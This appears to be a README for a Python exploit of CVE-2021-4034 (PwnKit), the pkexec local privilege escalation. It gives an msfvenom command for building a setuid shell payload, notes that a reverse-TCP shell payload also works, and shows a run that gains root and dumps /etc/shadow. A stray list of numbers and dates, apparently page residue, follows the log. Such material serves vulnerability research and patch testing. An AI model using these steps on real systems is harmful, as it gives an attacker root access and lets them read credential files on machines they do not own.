Python3 code to exploit CVE-2021-4034 (PWNKIT). This was an exercise in "can I make this work in Python?", and not meant as a robust exploit. It Works For Me, there are problaby bugs.
The default payload starts a shell as root, generated from msfvenom:
msfvenom -p linux/x64/exec -f elf-so PrependSetuid=true | base64
I've tested linux/x64/shell_reverse_tcp as well. Make sure you include the PrependSetuid=true argument to msfvenom, otherwise you'll just get a shell as the user and not root.
The code is cribbed from blasty, the orginal is available here
$ python CVE-2021-4034.py
[+] Creating shared library for exploit code.
[+] Calling execve()
# id
uid=0(root) gid=1000(jra) groups=1000(jra),4(adm),27(sudo),119(lpadmin),998(lxd)
# whoami
root
# head /etc/shadow
root:*:18709:0:99999:7:::
daemon:*:18709:0:99999:7:::
bin:*:18709:0:99999:7:::
sys:*:18709:0:99999:7:::
sync:*:18709:0:99999:7:::
games:*:18709:0:99999:7:::
man:*:18709:0:99999:7:::
lp:*:18709:0:99999:7:::
mail:*:18709:0:99999:7:::
news:*:18709:0:99999:7:::
#
40 Dec 29, 2022
329 Jan 01, 2023
758 Dec 28, 2022
3 Feb 20, 2022
42 Aug 09, 2022
134 Dec 16, 2022
56 Mar 25, 2022
89 Jan 01, 2023
25 Nov 15, 2022
32 Jan 02, 2023
18 Jan 23, 2022
102 Jan 04, 2023
580 Jan 09, 2023
37 Nov 12, 2022
3 Nov 04, 2022
59 Nov 26, 2022
130 Dec 17, 2022
0 Mar 30, 2022
20 Nov 11, 2022
1 Dec 11, 2021